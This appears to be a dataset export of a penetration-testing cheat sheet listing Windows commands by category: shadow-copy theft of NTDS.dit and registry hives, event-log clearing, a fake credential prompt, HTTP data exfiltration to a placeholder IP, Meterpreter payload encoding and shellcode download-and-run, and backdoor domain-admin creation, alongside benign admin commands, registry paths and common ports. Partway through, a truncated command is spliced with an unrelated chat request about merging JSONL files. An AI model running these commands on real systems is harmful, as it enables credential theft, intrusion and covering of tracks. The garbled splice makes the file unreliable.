category
stringclasses
51 values
command
stringlengths
1
755
description
stringlengths
3
70
Volume Shadow Copy
wmic /node:DC_IP /user:"DOMAIN\user" /password:"PASS" process call create "cmd /c vssadmin list shadows 2>&1 c:\temp\output.txt"
List shadow copies and check for existing copies
Volume Shadow Copy
wmic /node:DC_IP /user:"DOMAIN\user" /password:"PASS" process call create "cmd /c vssadmin create shadow /for=C: 2>&1 C:\temp\output.txt"
Create shadow copy for C: drive
Volume Shadow Copy
wmic /node:DC_IP /user:"DOMAIN\user" /password:"PASS" process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\system.hive 2>&1 C:\temp\output.txt"
Copy SYSTEM hive from shadow copy
Volume Shadow Copy
wmic /node:DC_IP /user:"DOMAIN\user" /password:"PASS" process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\NTDS\NTDS.dit C:\temp\ntds.dit 2>&1 C:\temp\output.txt"
Copy NTDS.dit from shadow copy
Volume Shadow Copy
From Linux, download and run ntdsxtract and libesedb to export hashes or other domain information
Extract domain info using ntdsxtract and libesedb
PowerShell
Get-Content file
Displays file contents
PowerShell
Get-Help command -Examples
Shows examples of command
PowerShell
Get-Command *string*
Searches for command string
PowerShell
Get-Service
Displays services (use Stop-Service, Start-Service)
PowerShell
Get-WmiObject -Class Win32_Service
Displays services, supports alternate credentials
PowerShell
$PSVersionTable
Displays PowerShell version
PowerShell
powershell.exe -Version 2.0
Run PowerShell 2.0 from 3.0
PowerShell
Get-Service | Measure-Object
Returns number of services
PowerShell
Get-PSDrive
Returns list of PSDrives
PowerShell
Get-Process | Select-Object -ExpandProperty Name
Returns only process names
PowerShell
Get-Help * -Parameter Credential
Cmdlets that take credentials
PowerShell
Get-WmiObject -List *network*
Available WMI network commands
PowerShell
[System.Net.DNS]::GetHostEntry("ip")
DNS lookup
PowerShell
Get-EventLog -List
List event logs
PowerShell
Clear-EventLog -LogName Application,Security -ComputerName SVR01
Clear Security & Application event logs for remote server
PowerShell
Get-WmiObject -Class Win32_OperatingSystem | Select-Object -Property * | Export-Csv c:\os.csv
Export OS info to CSV file
PowerShell
Get-Service | Where-Object {$_.Status -eq "Running"}
List running services
PowerShell
New-PSDrive -Persist -PSProvider FileSystem -Root \\1.1.1.1\tools -Name i
Persistent PSDrive to remote file share
PowerShell
Get-ChildItem -Path c:\ -Force -Recurse -Filter *.log -ErrorAction SilentlyContinue | Where-Object {$_.LastWriteTime -gt "2012-08-20"}
Return files with write date past 8/20/2012
PowerShell
(New-Object System.Net.WebClient).DownloadFile("url","dest")
File download over HTTP
PowerShell
$ports=(80,443,445); $ip="x.x.x.x"; foreach ($port in $ports) { try { $socket = New-Object System.Net.Sockets.TcpClient($ip,$port); } catch {}; if ($socket -eq $null) { echo "$ip`:$port - Closed"; } else { echo "$ip`:$port - Open"; $socket = $null; } }
TCP port scanner
PowerShell
$ping = New-Object System.Net.NetworkInformation.Ping; $ping.Send("ip",500)
Ping with 500ms timeout
PowerShell
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass; $Host.UI.PromptForCredential("title","message","user","domain")
Basic authentication popup
PowerShell
powershell.exe -Command "do { if ((Get-Date -Format yyyyMMdd-HHmm) -match '201308(0[8-9]|[0-1][0-1])-(0[8-9]|[0-1][0-7])[0-5][0-9]') { Start-Process -WindowStyle Hidden 'C:\Temp\my.exe'; Start-Sleep -s 14400 } } while(1)"
Run EXE every 4 hours between Aug 8-11, 2013, 0800-1700
PowerShell
$pw = ConvertTo-SecureString -String "PASSWORD" -AsPlainText -Force; $pp = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "DOMAIN\user",$pw; Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process file.exe -verb runas}'
PowerShell RunAs
PowerShell
powershell.exe Send-MailMessage -To "email" -From "email" -Subject "Subject" -Attachments "attachment_file_path" -Body "Body" -SmtpServer "Target_Email_Server_IP"
Email sender
PowerShell
net time \\ip; at \\ip time "Powershell -Command 'Enable-PSRemoting -Force'"; at \\ip time+1 "Powershell -Command 'Set-Item wsman:\localhost\client\trustedhosts *'"; at \\ip time+2 "Powershell -Command 'Restart-Service WinRM'"; Enter-PSSession -ComputerName ip -Credential username
Turn on PowerShell remoting
PowerShell
Get-WmiObject -ComputerName DC -Namespace root\MicrosoftDNS -Class MicrosoftDNS_ResourceRecord -Filter "domainname='DOMAIN'" | Select-Object TextRepresentation
List hostname and IP for domain computers
PowerShell
powershell.exe -NoProfile -NonInteractive -Command "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $source='https://YOUR_SPECIFIED_IP/file.zip'; $destination='C:\master.zip'; $http = New-Object System.Net.WebClient; $http.DownloadFile($source, $destination);"
Download file from specified location
PowerShell
powershell.exe -NoProfile -NonInteractive -Command "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $server='http://YOUR_SPECIFIED_IP/folder'; $filepath='C:\master.zip'; $http = New-Object System.Net.WebClient; $http.UploadFile($server,$filepath);"
Data exfiltration via HTTP POST
PowerShell
Get-ADUser -Filter * -Properties *
List all Active Directory users (requires RSAT)
PowerShell
Invoke-WebRequest -Uri "url" -Method Get
Perform HTTP request
PowerShell
Get-NetFirewallRule
List Windows firewall rules
PowerShell Meterpreter
$contents = Get-Content audit.ps1; $ms = New-Object IO.MemoryStream; $action = [IO.Compression.CompressionMode]::Compress; $cs = New-Object IO.Compression.DeflateStream($ms,$action); $sw = New-Object IO.StreamWriter($cs, [Text.Encoding]::ASCII); $contents | ForEach-Object {$sw.WriteLine($_)}; $sw.Close(); $code = [Convert]::ToBase64String($ms.ToArray()); $command = "Invoke-Expression '$(New-Object IO.StreamReader($(New-Object IO.Compression.DeflateStream($(New-Object IO.MemoryStream(,[Convert]::FromBase64String('$code'))),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd();"; $bytes = [System.Text.Encoding]::Unicode.GetBytes($command); $encodedCommand = [Convert]::ToBase64String($bytes); Write-Host $encodedCommand
encodeMeterpreter.ps1 to compress and encode Meterpreter payload
PowerShell Meterpreter
powershell.exe -NoExit -EncodedCommand [encoded_Meterpreter_string]
Launch encoded Meterpreter on target (x86)
PowerShell Meterpreter
powershell -NoProfile -NonInteractive -Command "& {$client = New-Object System.Net.WebClient; $client.DownloadFile('http://1.1.1.1/shell.txt', 'c:\windows\temp\shell.txt')}"
Download Meterpreter shellcode
PowerShell Meterpreter
powershell -NoProfile -NonInteractive -NoExit -Command "& {$cmd = Get-Content 'c:\windows\temp\shell.txt'; powershell -NoProfile -NonInteractive -NoExit -EncodedCommand $cmd}"
Execute downloaded Meterpreter shellcode
Windows Registry
HKLM\Software\Microsoft\Windows NT\CurrentVersion
OS information
Windows Registry
HKLM\Software\Microsoft\Windows NT\CurrentVersion /v ProductName
Product name
Windows Registry
HKLM\Software\Microsoft\Windows NT\CurrentVersion /v InstallDate
Date of install
Windows Registry
HKLM\Software\Microsoft\Windows NT\CurrentVersion /v RegisteredOwner
Registered owner
Windows Registry
HKLM\Software\Microsoft\Windows NT\CurrentVersion /v SystemRoot
System root
Windows Registry
HKLM\System\CurrentControlSet\Control\TimeZoneInformation /v ActiveTimeBias
Time zone (offset in minutes from UTC)
Windows Registry
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Map Network Drive MRU
Mapped network drives
Windows Registry
HKLM\System\MountedDevices
Mounted devices
Windows Registry
HKLM\System\CurrentControlSet\Enum\USBStor
USB devices
Windows Registry
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /v IPEnableRouter=1
Turn on IP forwarding
Windows Registry
HKEY_LOCAL_MACHINE\Security\Policy\Secrets
LSA secrets (VPN, autologon, passwords)
Windows Registry
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon /v autoadminlogon
Auto admin logon
Windows Registry
HKLM\Security\Policy\PolAdtEv
Audit policy
Windows Registry
HKLM\Software\Microsoft\Windows\CurrentVersion\Services
Kernel/user services
Windows Registry
HKLM\Software
Installed software on machine
Windows Registry
HKCU\Software
Installed software for user
Windows Registry
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs
Recent documents
Windows Registry
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedMRU
Recent user locations
Windows Registry
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSaveMRU
Recent user locations
Windows Registry
HKCU\Software\Microsoft\Internet Explorer\TypedURLs
Typed URLs
Windows Registry
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
MRU lists
Windows Registry
HKCU\Software\Microsoft\Windows\CurrentVersion\Applets\RegEdit /v LastKey
Last registry key accessed
Windows Registry
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Startup location (Run)
Windows Registry
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
Startup location (RunOnce)
Windows Registry
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
Startup location (Policies)
Windows Registry
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Startup location (User Run)
Windows Registry
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
Startup location (User RunOnce)
Windows Registry
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows /v Load
Startup location (Load)
Windows Registry
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows /v Run
Startup location (Run)
Enumerating Windows Domain
dsquery user -limit 0
List users on domain with no limit
Enumerating Windows Domain
dsquery group "cn=users,dc=victim,dc=com"
List groups for domain=victim.com
Enumerating Windows Domain
dsquery group -name "domain admins" | dsget group -members -expand
List domain admin accounts
Enumerating Windows Domain
dsquery user -name bob | dsget user -memberof -expand
List all groups for a user
Enumerating Windows Domain
dsquery user -name bob | dsget user -samid
Get a user's login ID
Enumerating Windows Domain
dsquery user -inactive 2
List accounts inactive for 2 weeks
Enumerating Windows Domain
dsadd user "CN=Bob,CN=Users,DC=victim,DC=com" -samid bob -pwd bobpass -display "Bob" -pwdneverexpires yes -memberof "CN=Domain Admins,CN=Users,DC=victim,DC=com"
Add domain user
Enumerating Windows Domain
dsrm -subtree -noprompt "CN=Bob,CN=Users,DC=victim,DC=com"
Delete user
Enumerating Windows Domain
dsquery * "DC=victim,DC=com" -scope subtree -attr cn operatingSystem operatingSystemServicePack -filter "(&(objectClass=computer)(objectCategory=computer)(operatingSystem=Windows*))"
List all operating systems on domain
Enumerating Windows Domain
dsquery site -o rdn -limit 0
List all site names
Enumerating Windows Domain
dsquery subnet -site sitename -o rdn
List all subnets within a site
Enumerating Windows Domain
dsquery server -site sitename -o rdn
List all servers within a site
Enumerating Windows Domain
dsquery * domainroot -filter "(&(objectCategory=Computer)(objectClass=Computer)(operatingSystem=*Server*))" -limit 0
Find servers in the domain
Enumerating Windows Domain
dsquery * "CN=Sites,CN=Configuration,DC=forestRootDomain" -filter "(objectCategory=Server)"
List domain controllers per site
Windows Scripting
for /L %i in (10,1,254) do @for /L %x in (10,1,254) do @ping -n 1 -wSo I need to merge all the JSONL files into a single file. Could you please combine the following JSONL files into one, using the artifact_id from the first file:
null
Common Ports
21
FTP
Common Ports
22
SSH
Common Ports
23
Telnet
Common Ports
25
SMTP
Common Ports
49
TACACS
Common Ports
53
DNS
Common Ports
67/68
DHCP (UDP)
Common Ports
69
TFTP (UDP)
Common Ports
80
HTTP
Common Ports
88
Kerberos
Common Ports
110
POP3
Common Ports
111
RPC
Common Ports
123
NTP (UDP)
Common Ports
135
Windows RPC